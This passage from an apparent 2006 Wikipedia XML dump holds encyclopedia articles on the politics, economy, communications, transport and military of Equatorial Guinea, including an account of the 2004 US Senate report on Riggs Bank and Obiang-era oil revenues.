In the period following Spain's grant of local autonomy to Equatorial Guinea in 1963, there was a great deal of political party activity. [[Bubi]] and [[Fernandino]] parties on the island preferred separation from [[Rio Muni]] or a loose federation. Ethnically based parties in Rio Muni favored independence for a united country comprising Bioko and Rio Muni, an approach that ultimately won out. (The [[Movement for the Self-Determination of Bioko Island]] (MAIB) which advocates independence for the island under Bubi control, is one of the offshoots of the era immediately preceding independence). After the accession of Macias to power, political activity largely ceased in Equatorial Guinea. Opposition figures who lived among the exile communities in Spain and elsewhere agitated for reforms; some of them had been employed in the Macias and Obiang governments. After political activities in Equatorial Guinea were legalized in the early 1990s, some opposition leaders returned to test the waters, but repressive actions have continued sporadically.

With the prodding of the [[United Nations]], the [[United States]], [[Spain]], and other donor countries, the government undertook an electoral census in 1995. Freely contested municipal elections, the country's first, were held in September. Most observers agree that the elections themselves were relatively free and transparent and that the opposition parties garnered between two-thirds and three-quarters of the total vote. The government, however, delayed announcement of the results and then claimed a highly dubious 52% victory overall and the capture of 19 of 27 municipal councils. Ironically, Malabo's council went to the opposition. In early January 1996 Obiang called presidential elections to be held in 6 weeks. The campaign was marred by allegations of fraud, and most of the other candidates withdrew in the final week. Obiang claimed re-election with 98% of the vote. International observers agreed the election was not free or fair. In an attempt to ameliorate his critics, Obiang announced his new cabinet, giving minor portfolios to some people identified by the government as being opposition figures.

Since independence, the two Presidents (Macias and his nephew Obiang) have been the dominant political forces. Since 1979, President Obiang has been constrained only by a need to maintain a consensus among his advisers and political supporters, most of whom are drawn from the Nguema family in Mongomo, in the eastern part of Rio Muni. The Nguema family is part of the Esangui subclan of the Fang. Alleged coup attempts in 1981 and 1983 raised little sympathy among the populace.

President Obiang's rule, in which schools were permitted to reopen and primary education expanded, and public utilities and roads restored, compares favorably with Macias' tyranny and terror. It has been criticized for not implementing genuine democratic reforms. Corruption and a dysfunctional judicial system disrupt the development of Equatorial Guinea's economy and society. In March 2001 the President appointed a new Prime Minister, Candido Muatetema Rivas, and replaced several ministers perceived to be especially corrupt. However, the government budget still does not include all revenues and expenditures. The United Nations Development Programme has proposed a broad governance reform program, but the Equato Guinean Government was not moving rapidly to implement it.

Although Equatorial Guinea lacks a well-established democratic tradition comparable to the developed democracies of the West, it has progressed toward developing a participatory political system out of the anarchic, chaotic, and repressive conditions of the Macias years. 

'''Country name:'''
&lt;br&gt;''conventional long form:''
Republic of Equatorial Guinea
&lt;br&gt;''conventional short form:''
Equatorial Guinea
&lt;br&gt;''local long form:''
Republica de Guinea Ecuatorial
&lt;br&gt;''local short form:''
Guinea Ecuatorial
&lt;br&gt;''former:''
Spanish Guinea

'''Data code:'''
EK

'''Government type:'''
republic

'''Capital:'''
Malabo

'''Administrative divisions:'''
7 provinces (provincias, singular - provincia); Annobon, Bioko Norte, Bioko Sur, Centro Sur, Kie-Ntem, Litoral, Wele-Nzas

'''Independence:'''
[[12 October]] [[1968]] (from Spain)

'''National holiday:'''
Independence Day, [[12 October]] (1968)

'''Constitution:'''
approved by national referendum [[17 November]] [[1991]]; amended January 1995

'''Legal system:'''
partly based on Spanish civil law and tribal custom

'''Suffrage:'''
18 years of age; universal adult

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President Brig. Gen. (Ret.) [[Teodoro Obiang Nguema Mbasogo]] (since [[3 August]] [[1979]] when he seized power in a military coup)
&lt;br&gt;''head of government:''
Prime Minister Serafin Seriche DOUGAN (since NA April 1996); First Vice Prime Minister and Agriculture Minister Miguel OYONO NDONG (since NA January 1998); Second Vice Prime Minister for Internal Affairs Demetrio Elo NDONG NZE FUMU (since NA January 1998)
&lt;br&gt;''cabinet:''
Council of Ministers appointed by the president
&lt;br&gt;''elections:''
president elected by popular vote to a seven-year term; election last held [[25 February]] [[1996]] (next to be held NA February 2003); prime minister and vice prime ministers appointed by the president
&lt;br&gt;''election results:''
President Teodoro OBIANG NGUEMA MBASOGO reelected with 98% of popular vote in elections marred by widespread fraud

'''Legislative branch:'''
unicameral House of People's Representatives or Camara de Representantes del Pueblo (80 seats; members directly elected by popular vote to serve five-year terms)
&lt;br&gt;''elections:''
last held [[7 March]] [[1999]] (next to be held NA 2004)
&lt;br&gt;''election results:''
percent of vote by party - PDGE 80%, UP 6%, CPDS 5%; seats by party - PDGE 75, UP 4 and CPDS 1
&lt;br&gt;''note:''
opposition parties have refused to take up their seats in the House to protest widespread irregularities in the 1999 legislative elections

'''Judicial branch:'''
Supreme Tribunal

'''Political parties and leaders:'''
Convergence Party for Social Democracy or CPDS [Placido Miko ABOGO]; Democratic Party for Equatorial Guinea or PDGE (ruling party) [Augustin Nse NFUMU]; Party for Progress of Equatorial Guinea or PPGE [Severo MOTO]; Popular Action of Equatorial Guinea or APGE [Miguel Esono EMAN]; Popular Union or UP [Fabian MUSA, general secretary]; Progressive Democratic Alliance or ADP [Victorino Bolekia BONAY, mayor of Malabo]

'''International organization participation:'''
ACCT, ACP, AfDB, BDEAC, CEEAC, ECA, FAO, FZ, G-77, IBRD, ICAO, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat, Interpol, IOC, ITU, NAM, OAS (observer), OAU, OPCW, UDEAC, UN, UNCTAD, UNESCO, UNIDO, UPU, WHO, WIPO, WToO, WTrO (applicant)

'''Diplomatic representation in the US:'''
&lt;br&gt;''chief of mission:''
Ambassador Mr Teodoro Biyougo NSUE
&lt;br&gt;''chancery:''
2020 16th Street, NW, Washington, DC 20009
&lt;br&gt;''telephone:''
[1] (202) 518-5700
&lt;br&gt;''fax:''
[1] (202) 518-5252

'''Diplomatic representation from the US:'''
&lt;br&gt;''chief of mission:''
Ambassador Niels MARQUARDT (resides in Yaoundé, Cameroon)
&lt;br&gt;Charge d'affaires a.i. Ms. Sarah Craddock MORRISON
&lt;br&gt;''chancery:''
K-3, Carretera de Aeropuerto, Al lado de Restaurante El Paraíso, Malabo
&lt;br&gt;''telephone:''
[240] 093-457 
&lt;br&gt;''fax:''
[240] 098-443

&lt;br&gt;''note:''
the US reopened its embassy in Equatorial Guinea in late 2003 (embassy closed September 1995). The US also maintains a Consular Agency in Bata on the mainland.
&lt;br&gt;

'''Flag description:'''
three equal horizontal bands of green (top), white, and red with a blue isosceles triangle based on the hoist side and the coat of arms centered in the white band; the coat of arms has six yellow six-pointed stars (representing the mainland and five offshore islands) above a gray shield bearing a silk-cotton tree and below which is a scroll with the motto UNIDAD, PAZ, JUSTICIA (Unity, Peace, Justice)

:''See also :'' [[Equatorial Guinea]]

{{Africa in topic|Politics of}}

[[Category:Equatorial Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Equatorial Guinea</title>
    <id>9371</id>
    <revision>
      <id>40567992</id>
      <timestamp>2006-02-21T14:14:43Z</timestamp>
      <contributor>
        <username>Qero</username>
        <id>417430</id>
      </contributor>
      <minor />
      <comment>Cote d'Ivoire -&gt; Côte d'Ivoire</comment>
      <text xml:space="preserve">==Economy overview==
The discovery and exploitation of large oil reserves have contributed to dramatic economic growth in recent years. Forestry, [[farming]], and [[fishing]] are also major components of GDP. Subsistence farming predominates. Although pre-independence Equatorial Guinea counted on cocoa production for hard currency earnings, the neglect of the rural economy under successive regimes has diminished potential for agriculture-led growth (the government has stated its intention to reinvest some [[petroleum|oil]] revenue into agriculture). A number of aid programs sponsored by the World Bank and the IMF have been cut off since 1993 because of corruption and mismanagement. No longer eligible for concessional financing because of large oil revenues, the government has been unsuccessfully trying to agree on a &quot;shadow&quot; fiscal management program with the [[World Bank]] and [[IMF]]. Businesses, for the most part, are owned by government officials and their family members. Undeveloped natural resources include [[titanium]], [[iron]] [[ore]], [[manganese]], [[uranium]], and [[alluvial]] [[gold]]. Growth remained strong in 2005, led by oil. Equatorial Guinea now has the second highest per capita income in the world, after [[Luxembourg]].

==2004 US senate report==
A Senate report [http://www.progress.org/2004/oil13.htm] in 2004 found that [[Riggs Bank]] helped top officials of Equatorial Guinea steal hundreds of millions of dollars in oil revenues. The Senate Permanent Subcommittee on Investigations probed the corruption case involving Equatorial Guinea and its oil revenues for much of the past year.

The panel's report found that Riggs Bank helped government leaders in Equatorial Guinea siphon oil revenues to accounts set up for them in Washington. Equatorial Guinea has been cited by the U.S. State Department for human rights abuses, corruption, and diversion of oil revenues to government officials.

Beginning in 1995 until 2004, Riggs oversaw as many as 60 accounts containing as much as $700 million, making Equatorial Guinea its largest single customer. Some were government accounts, while others were the private accounts of President [[Teodoro Obiang Nguema]], other government officials, and their families.

The Senate report says millions of dollars in the government accounts, which should have gone to help impoverished Equatorial Guineans, were instead funneled to off-shore tax shelters, with help from Riggs officials.

At a hearing on the matter at which current and former bank officials appeared, Senator [[Carl Levin]], a [[Michigan]] Democrat, was clearly outraged. &quot;Somehow there has to be a conscience here. Aren't you troubled?,&quot; he said.

The report describes one incident in which the bank manager of the country's accounts, [[Simon Kareri]], brought a 27 kilogram suitcase with $3 million in plastic-wrapped cash to Riggs's Dupont Circle branch to make a deposit into President Obiang's account. Mr. Kareri, who was fired in January, refused to testify at the hearing,&quot; he said. &quot;Mr. Chairman, there is nothing I would like to do more than answer your questions today. However, I must heed the advice of my counsel and invoke my [[Fifth Amendment to the United States Constitution|fifth amendment]] rights under the Constitution and refuse to answer the question,&quot; he said.

Senators were angered that bank officials never reported any suspicious financial transactions involving Equatorial Guinea.

Lawrence Hebert, president and chief executive officer of Riggs Bank, blamed a lack of an internal system to monitor and identify such suspicious activity. It is an assertion that Senator Levin found ridiculous.

&quot;First of all Mr. Hebert, you do not need a computer system to realize suspicious activity when you have sixty pounds of cash that are being walked into the door with a suitcase,&quot; he said.

Mr. Levin criticized bank regulators for not doing enough in their oversight responsibility.

Riggs was fined a record $25 million by federal banking regulators for allegedly failing to report suspicious transactions made to the Equatorial Guinea accounts, but that didn't happen until May 2004.

Senator Levin also took aim at oil companies that are doing business in Equatorial Guinea, many of which have secret contracts with firms that have ties to President Obiang.

The London-based organization [[Global Witness]] notes that the Senate committee report found that oil companies made payments into the personal accounts of Equatorial Guinean officials that were used for land purchases, office leases, and even education for the children of the country's leaders.

With oil money stashed away in Riggs Bank for the ruling elite of Equatorial Guinea, argues Sarah Wykes of Global Witness, oil companies cannot make the case that they are a force for positive change in the country.

&quot;Equatorial Guinea is now the third largest producer of oil in sub-Saharan Africa,&quot; he said. &quot;It has been called the 'Kuwait of Africa' But it is clear that since oil came on stream, the human development indicators of the country have actually gone backward, so we can say the oil money is not contributing to development at all,&quot; she said.

Equatorial Guinea responded with an 82-point reort claiming that the Senate had been &quot;duped&quot; by &quot;pressure groups&quot;[http://www.guineequatoriale-info.net/info_05/us_2005052500.htm], naming specifically a $40,000 contract between a lobbying group and [[Severo Moto Nsa]], an EquatoGuinean living in self-imposed exile who uses his website to make wild accusations against Obiang[http://www.guinea-ecuatorial.org/modules.php?name=News&amp;file=print&amp;sid=448]. The rebuttal also claims that the payments to government members were disclosed in the government accounts and were not illegal.

==In greater depth==
Oil and gas exports have increased substantially (in 2003 [[Equatorial Guinea]] was ranked third among [[Africa|African]] producers behind [[Nigeria]] and [[Angola]]) and will drive the economy for years to come. The GDP increased by 105.2% in 1997, and real GDP growth reached 23% in 1999, and initial estimates suggested growth of about 15% in 2001, according to IMF 2001 forecast. Per capita income grew from about $1,000 in 1998 to about $2,000 in 2000. The energy export sector is responsible for this rapid growth. Oil production has increased from 81,000 to 210,000 barrel/day (13,000 to 33,000 m&amp;sup3;/day) between 1998 and early 2001. There is ongoing additional development of existing commercially viable oil and gas deposits as well as new exploration in other offshore concessions.

Equatorial Guinea has other largely unexploited human and natural resources, including a tropical climate, fertile soils, rich expanses of water, deepwater ports, and an untapped, if unskilled, source of labour. Following independence in 1968, the country suffered under a repressive dictatorship for 11 years, which devastated the economy. The agricultural sector, which historically was known for cocoa of the highest quality, has never fully recovered. In 1969 Equatorial Guinea produced 36,161 tons of highly bid cocoa, but production dropped to 4,800 tons in 2000. Coffee production also dropped sharply during this period to bounce back to 100,000 metric tons in 2000. Timber is the main source of foreign exchange after oil, accounting for about 12.4% of total export earnings in 1996-99. Timber production increased steadily during the 1990s; wood exports reached a record 789,000 cubic meters in 1999 as demand in Asia (mainly China) gathered pace after the 1998 economic crisis. Most of the production (mainly Okoume) goes to exports, and only 3% is processed locally. Environmentalists fear that exploitation at this level is unsustainable and point out to the permanent damage already inflicted on the forestry reserves on Bioko.

Consumer price inflation has declined from the 38.8% experienced in 1994 following the CFA franc devaluation, to 7.8% in 1998, and 1.0% in 1999, according to BEAC data. Consumer prices rose about 6% in 2000, according to initial estimates, and there was anecdotal evidence that price inflation was accelerating in 2001.

Equatorial Guinea's policies, as defined by law, comprise an open investment regime. Qualitative restrictions on imports, non-tariff protection, and many import licensing requirements were lifted when in 1992 the government adopted a public investment program endorsed by the World Bank. The Government of the Republic of Equatorial Guinea has sold some state enterprises. It is attempting to create a more favourable investment climate, and its investment code contains numerous incentives for job creation, training, promotion of non-traditional exports, support of development projects and indigenous capital participation, freedom for repatriation of profits, exemption from certain taxes and capital, and other benefits. Trade regulations have been further liberalized since implementation in 1994 of the ICN turnover tax, in conformity with Central African tax and custom reform codes. The reform included elimination of quota restrictions and reductions in the range and amounts of tariffs. The CEMAC countries agreed to replace the ICN with a value added tax (VAT) in 1999.

While business laws promote a liberalized economy, the business climate remains difficult. Application of the laws remains selective. Corruption among officials is widespread, and many business deals are concluded under non-transparent circumstances.

There is little industry in the country, and the local market for industrial products is small. The government seeks to expand the role of free enterprise and to promote foreign investment but has had little success in creating an atmosphere conducive to investor interest.

The Equato-Guinean budget has grown enormously in the past 3 years as royalties and taxes on foreign company oil and gas production have provided new resources to a once poor government. The 2001 budget foresaw revenues of about 154 [[billion]] CFA francs (154 GCFAF) (about U.S.$200 million), up about 50% from 2000 levels. Oil revenues account for about two-thirds of government revenue, and VAT and trade taxes are the other large revenue sources.

Year 2001 government expenditures were planned to reach 158 billion CFA francs, up about 50% from 2000 levels. New investment projects represented about 40% of the budget, and personnel and internal and external debt payments represented about one-third of planned expenditures.

The Equato-Guinean Government has undertaken a number of reforms since 1991 to reduce its predominant role in the economy and promote private sector development. Its role is a diminishing one, although many government interactions with the private sector are at times capricious. Beginning in early 1997, the government initiated efforts to attract significant private sector involvement through a Corporate Council on Africa visit and numerous ministerial efforts. In 1998, the government privatized distribution of petroleum products. There are now Total and Mobil stations in the country. The government has expressed interest in privatizing the outmoded electricity utility. A French company operates cellular telephone service in cooperation with a state enterprise. The government is anxious for greater U.S. investment, and President Obiang visited the U.S. three times between 1999 and 2001 to encourage greater U.S. corporate interest. Investment in agriculture, fishing, livestock, and tourism are among sectors the government would like targeted.

Equatorial Guinea's balance-of-payments situation has improved substantially since the mid-1990s because of new oil and gas production and favourable world energy prices. Exports totalled about francs CFA 915 billion in 2000 (1.25 G$US), up from CFA 437 billion (700 M$US) in 1999. Crude oil exports accounted for more than 90% of export earnings in 2000. Timber exports, by contrast, represented only about 5% of export revenues in 2000. Additional oil production coming on line in 2001, combined with methanol gas exports from the new CMS-Nomeco plant, should increase export earnings substantially.

Imports into Equatorial Guinea also are growing very quickly. Imports totalled francs CFA 380 billion (530 M$US), up from franc CFA 261 million (420 M$US) in 1999. Imports of equipment used for the oil and gas sector accounted for about three-quarters of imports in 2000. Imports of capital equipment for public investment projects reached francs CFA 30 billion in 2000, up 40% from 1999 levels.

Equatorial Guinea's foreign debt stock was approximately francs CFA 69 billion (100 M$US) in 2000, slightly less than the debt stock in 1999, according to BEAC data. Equatorial Guinea's debt service ratio fell from 20% of GDP in 1994 to only 1% in 2000. Foreign exchange reserves were increasing slightly, although they were relatively low in terms of import coverage. According to the terms of the franc CFA zone, some of these reserves are kept in an account with the French Ministry of Finance.

Equatorial Guinea in the 1980s and 1990s received foreign assistance from numerous bilateral and multilateral donors, including European countries, the [[United States]], and the [[World Bank]]. Many of these aid programs have ceased altogether or have diminished. [[Spain]], [[France]], and the [[European Union]] continue to provide some project assistance, as do [[China]] and [[Cuba]]. The government also has discussed working with World Bank assistance to develop government administrative capacity.

Equatorial Guinea operated under an [[IMF]]-negotiated [[Enhanced Structural Adjustment Facility]] (ESAF) until 1996. Since then, there have been no formal agreements or arrangements. The International monetary Fund held Article IV consultations (periodic country evaluations) in 1996, 1997, and in August 1999. After the 1999 consultations, IMF directors stressed the need for Equatorial Guinea to establish greater fiscal discipline, accountability, and more transparent management of public sector resources, especially energy sector revenue. IMF officials also have emphasized the need for economic data. In 1999, the Equato-Guinean Government began attempting to meet IMF-imposed requirements,  maintaining contact with IMF and the World Bank representatives. However, the newfound oil wealth allowed the government to avoid improving fiscal discipline, transparency and accountability.

== Infrastructure ==
Infrastructure is generally old and in poor condition. Surface transport is extremely limited at present, with little more than 700 kilometres of paved roads. The African Development Bank is helping to improve the paved roads from Malabo to Luba and Riaba; the Chinese are undertaking a project to link Mongomo to Bata on the mainland, and the European Union is financing an inter-states road network linking Equatorial Guinea to Cameroon and Gabon. Road maintenance is often inadequate.

Electricity is available in Equatorial Guinea's larger towns thanks to three small overworked hydropower facilities and a number of aged generators. In 1999, national production was about 13 MWh. In Malabo, the American company, CMS-Nomeco, built a 10 megawatt electricity plant financed by the government, which came in line in mid-2000, and plans to double capacity are advancing. This plant provides improved service to the capital, although there are still occasional outages. On the mainland the largest city, Bata, still has regular blackouts.

Water is only available in the major towns and is not always reliable because of poor maintenance and mismanagement. Some villages and rural areas are equipped with generators and water pumps, usually owned by private individuals.

Parastatal Getesa, a joint venture with a minority ownership stake held by a French subsidiary of [[France Télécom]], provides telephone service in the major cities. The regular system is overextended, but France Télécom has introduced a popular GSM system, which is generally reliable in Malabo and Bata.

Equatorial Guinea has two of the deepest Atlantic seaports of the region, including the main business and commercial port city of Bata. The ports of both Malabo and Bata are severely overextended and require extensive rehabilitation and reconditioning. The British company, Incat, has an ongoing project with the government to renovate and expand Luba, the country's third-largest port which is located on Bioko Island. The government hopes Luba will become a major transportation hub for offshore oil and gas companies operating in the Gulf of Guinea. Luba is located some 50 kilometres from Malabo and had been virtually inactive except for minor fishing activities and occasional use to ease congestion in Malabo. A new jetty is also being built at km 5 on the way from Malabo to the airport. It is a project mainly supposed to service the oil industry, but can also relieve the congested Malabo Port due to its closeness.
The Oil Jetty at km 5 is supposed to open the end of March 2003. Riaba is the other port of any scale on Bioko but is less active. The continental ports of Mbini and Cogo have deteriorated as well and are now used primarily for timber activities.

There are only air connections between the two cities of Malabo and Bata. A few aging Soviet-built aircraft operated by several small carriers, one state-owned, and the others private, constitute the national aircraft fleet. The runway at Malabo (3,200 meters) is equipped with lights and can service equipment similar to DC 10s and Cl3Os. The one at Bata (2,400 meters) does not operate at night but can accommodate aircraft as large as B737s. Their primary users are the national airline (EGA) and a private company (GEASA). Two minor airstrips (800 meters) are located at Mongomo and Annobon. There are international connections out of Malabo to Madrid and Zurich in Europe and to Cotonou, Douala and Libreville in West Africa.

== Energy Developments ==
After a slow start, Equatorial Guinea has recently emerged as a major oil producer in the Gulf of Guinea, one of the most promising hydrocarbon regions in the world. The main oil fields, Zafiro and Alba, are both located offshore of Bioko island. In 1999 oil production was about five times its 1996 level; Zafiro field, operated by Exxon Mobil and Ocean Energy, produced about 100,000 barrel/day (16,000 m&amp;sup3;/day), and CMS Nomeco extracted approximately 6,700 barrel/day (1,000 m&amp;sup3;/day). Aggressive field development and promising exploration activities may raise production to nearly 300,000 barrel/day (48,000 m&amp;sup3;) within 2-3 years (slightly above the current estimated production of Gabon) according to the official sources.

In 1995 Mobil (now Exxon Mobil) discovered the large Zafiro field, with estimated reserves of 400 million barrels (64 million m&amp;sup3;). Production began in 1996. The company announced a 3-year U.S.$1bn rapid development program to boost output to 130,000 barrel/day (21,000 m&amp;sup3;) by early 2001. Progress was delayed due to a contractual dispute with the government and by unexpectedly difficult geology. The difference with the government was eventually resolved.

In 1998 a more liberal regulatory and profit-sharing arrangement for hydrocarbon exploration and production activities was introduced. It revised and updated the production-sharing contract, which, until then, had favoured Western operators heavily. As a result domestic oil receipt rose from 13% to 20% of oil export revenue. However, the government's share remains relatively poor by international standards.

In 1997 CMS Nomeco moved to expand its operation with a U.S.$300m methanol plant. The plant entered production in 2000 and help boost [[gas condensate|condensate]] output from Alba field.

In August 1999 the government closed bidding on a new petroleum licensing round for 53 unexplored deepwater blocks and seven shallow water blocks. The response was small due to combination of factors, including falling oil prices, restructuring within the oil industry, and uncertainty over and undemarcated maritime border with Nigeria (which was not resolved until 2000).

In late 1999 Triton Energy, a U.S. independent, discovered La Ceiba in block G in an entirely new area offshore the mainland of the country. Triton expects a U.S.$200m development program to enable La Ceiba and associated fields to produce 100,000 barrel/day (16,000 m&amp;sup3;/day) by late 2001, despite disappointments and technical problems at the beginning of the year.

With an upturn in oil prices, exploration intensified in 2000. In April 2000 U.S.-based Vanco Energy signed a production-sharing contract for the offshore block of Corisco Deep. In May 2000, Chevron was granted block L, offshore Rio Muni, and a further three production-sharing contracts (for blocks J, I, and H) were signed with Atlas petroleum, a Nigerian company.

In early 2001 the government announced plans to establish a national oil company, to allow Equatorial Guinea to take a greater stake in the sector and to facilitate the more rapid transfer of skills. However, critics fear that such a company may become a vehicle for opaque accounting and inertia of the sort that has hindered development in neighbouring countries including [[Angola]], [[Cameroon]], and [[Nigeria]].

== Economic statistics ==
; GDP:
: Purchasing power parity - $25.69 billion (2005 est.)
; GDP:
: official exchange rate  - $7.644 billion (2005 est.) 
; GDP - real growth rate:
: 18.6% (2005 est.)
; GDP - per capita:
: Purchasing power parity - $50,200 (2005 est.)
; GDP - composition by sector:
:* Agriculture: 2.4%
:* Industry: 95.5%
:* Services: 2.2% (2005 est.)
; Population below poverty line:
: NA%
; Household income or consumption by percentage share:
:* Lowest 10%: NA%
:* Highest 10%: NA%
; Inflation rate (consumer prices):
: 5% (2005 est.)
; Investment (gross fixed):    
: 46.3% (2005 est.)  
; Labour force:
: NA
; Unemployment rate:
: 30% (1998 est.)
; Budget:
:* Revenues: $1.973 billion
:* Expenditures: $711.5 billion, including capital expenditures of NA(2005 est.)
; Industries:
: Petroleum, fishing, sawmilling, natural gas
; Industrial production growth rate:
: 30% (2002 est.)
; Electricity - production:
: 29.43 GWh (2005)
; Electricity - consumption:
: 27.37 GWh (2005)
; Electricity - exports:
: 0 kWh (1998)
; Electricity - imports:
: 0 kWh (1998)
; Agriculture - products:
: [[Coffee]], [[cocoa]], [[rice]], [[yam (vegetable)|yams]], [[cassava]] ([[tapioca]]), [[banana]]s, [[palm oil]] nuts; livestock; timber
; Exports:
: $6.727 billion f.o.b. (2005 est.) 
; Exports - commodities:
: [[Petroleum]], timber, [[cocoa]]
; Exports - partners:
: [[United States]] 29.3%, [[China]] 22.8%, [[Spain]] 16%, [[Taiwan]] 14.9%, [[Canada]] 6.8% (2004)
; Imports:
: $1.864 billion f.o.b.(f.o.b., 2005)
; Imports - commodities:
: [[petroleum]], manufactured goods and equipment
; Imports - partners:
: [[United States]] 26.8%, [[Côte d'Ivoire]] 21.4%, [[Spain]] 13.6%, [[France]] 8.8%, [[United Kingdom]] 7.8%, [[Italy]] 4.4% (2004) 
; Debt - external:
: $248 million (2000 est.)
; Economic aid - recipient:
: $33.8 million (1995)
; Currency:
: 1 Communauté financière africaine franc (CFAF) = 100 centimes
; Exchange rates:
: Communauté financière africaine francs (CFAF) per US$1 - 480.56 (2005), 528.29 (2004), 581.2 (2003), 696.99 (2002), 733.04 (2001) 
; Fiscal year:
: [[1 January]]&amp;ndash;[[31 December]]

See also: [[Equatorial Guinea]]

==External links==
*[http://www.equatorialoil.com Equatorial Oil]- Government source on economics, run by the ministry of mines, industry and energy

[[Category:African Union member economies|Equatorial Guinea]]
[[Category:Economies by country|Equatorial Guinea]]
[[Category:Equatorial Guinea]]

[[es:Economía de Guinea Ecuatorial]]
[[fr:Économie de la Guinée équatoriale]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Equatorial Guinea</title>
    <id>9372</id>
    <revision>
      <id>37394132</id>
      <timestamp>2006-01-30T19:32:01Z</timestamp>
      <contributor>
        <username>ZachPruckowski</username>
        <id>626251</id>
      </contributor>
      <minor />
      <text xml:space="preserve">This article lists '''[[communication|communications]] in [[Equatorial Guinea]]'''.

; [[Telephone]]s - main lines in use:
: 3,000 (1995)
; Telephones - mobile cellular:
: 0 (1995)
; Telephone system:
: Poor system with adequate government services
:* Domestic: NA
:* International: International communications from [[Bata, Equatorial Guinea|Bata]] and [[Malabo]] to [[Africa]]n and [[Europe]]an countries; [[satellite]] earth station - 1 [[Intelsat]] ([[Indian Ocean]])
; [[Radio]] [[broadcasting|broadcast]] stations:
: AM 0, FM 2, shortwave 4 (1998)
; Radios:
: 180,000 (1997)
; [[Television]] broadcast stations:
: 1 (1997)
; Televisions:
: 4,000 (1997)
; [[Internet Service Provider]]s (ISPs):
: NA
; [[Country code]] (Top-level domain):
: GQ

See also: [[Equatorial Guinea]]

[[Category:Communications by country|Equatorial Guinea]]
[[Category:Equatorial Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Equatorial Guinea</title>
    <id>9373</id>
    <revision>
      <id>37832539</id>
      <timestamp>2006-02-02T11:53:32Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Equatorial Guinea]] to [[Transport in Equatorial Guinea]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

This article lists '''[[transport]] in [[Equatorial Guinea]]'''.

; [[Railway]]s:
:* Total: 0 km
; [[Highway]]s:
:* Total: 2,880 [[kilometre|km]]
:* Paved: 0 km
:* Unpaved: 2,880 km (1996 est.)
; Ports and [[harbor]]s:
: [[Bata, Equatorial Guinea|Bata]], [[Luba, uEquatorial Guinea|Luba]], [[Malabo]]
; [[Merchant marine]]:
:* Total: 11 ships (1,000 GRT or over) totalling 25,907 GRT/26,812 DWT
:* Ships by type: Cargo 8, passenger 2, passenger/cargo 1 (1999 est.)
; [[Airport]]s:
: 3 (1999 est.)
; Airports - with paved runways:
:* Total: 2
:* 2,438 to 3,047 [[metre|m]]: 1
:* 1,524 to 2,437 m: 1 (1999 est.)
; Airports - with unpaved runways:
:* Total: 1
:* Under 914 m: 1 (1999 est.)

See also: [[Equatorial Guinea]]

{{Africa in topic|Transport in}}

[[Category:Equatorial Guinea]]
[[Category:Transportation by country|Equatorial Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Equatorial Guinea</title>
    <id>9374</id>
    <revision>
      <id>29581837</id>
      <timestamp>2005-11-29T11:31:10Z</timestamp>
      <contributor>
        <username>Ud terrorist</username>
        <id>229321</id>
      </contributor>
      <minor />
      <comment>adjustment of numbers</comment>
      <text xml:space="preserve">The '''[[military]] of [[Equatorial Guinea]]''' was reorganized in 1979. It consists of approximately 2,500 service members. The army has almost 1,400 soldiers, the police 400 paramilitary men, the navy 200 service members, and the air force about120 members. There is a [[Gendarmerie]], but the number of members is unknown. The Gendarmerie is a new branch of the service in which training and education is being supported by the French Military Cooperation in Equatorial Guinea. Overall the military is poorly trained and equipped. It has mostly small arms, rocket launched grenades, and mortars. Almost none of its soviet-style light-armored vehicles or trucks are operational.

In 1988, the [[United States]] donated a 68-foot patrol boat to the Equatorial Guinean navy to patrol its exclusive economic zone. The U.S. patrol boat &quot;Isla de Bioko&quot; is no longer operational. U.S. military-to-military engagement has been dormant since 1997 (the year of the last [[Joint Combined Exchange Training Exercise]]). Between 1984 and 1992, service members went regularly to the United States on the International Military Education Training program, after which funding for this program for Equatorial Guinea ceased. The government spent 6.5% of its annual budget on defense in 2000 and 4.5% of its budget on defense in 2001. It recently acquired some Chinese artillery pieces, some Ukrainian patrol boats, and some Ukrainian Helicopter Gunships. The number of paved airports in Equatorial Guinea can be counted on one hand, and as such the number of aeroplanes operated by the airforce is small [http://www.worldairforces.com/Countries/equatorial_guinea/eqg.html] [http://www.worldairforces.com/Countries/equatorial_guinea/EQGaircraft.html]. The Equatoguineans rely on foreigners to operate and maintain this equipment as they are not sufficiently trained to do so. 

Military appointments are all reviewed by [[Teodoro Obiang | President Obiang]], and few of the native militiamen come from outside of Obiang's [[Mongomo]] based Esangui clan. Obiang was a general when he overthrew his uncle, [[Francisco Macias Nguema]]. His decision to personally review each military appointment reflects his fears over a lack of loyalty in the military- but the practise of a dictator reviewing individual military positions is not peculiar to Obiang- [[Adolf Hitler]] personally reviewed the status of every [[mischling]].

; Military branches:
: Army, Navy, Air Force, Rapid Intervention Force, National Police
; Military manpower - availability:
: Males age 15-49: 105,420 (2000 est.)
; Military manpower - fit for military service:
: Males age 15-49: 53,564 (2000 est.)
; Military expenditures - dollar figure:
: $3 million (FY97/98)
; Military expenditures - percent of GDP:
: 0.6% (FY97/98)

==References and Links==
*[[Equatorial Guinea]]
[[Category:Equatorial Guinea]]
[[Category:Militaries|Equatorial Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Equatorial Guinea</title>
    <id>9375</id>
    <revision>
      <id>15907271</id>
      <timestamp>2005-04-25T05:40:53Z</timestamp>
      <contributor>
        <ip>68.8.56.188</ip>
      </contributor>
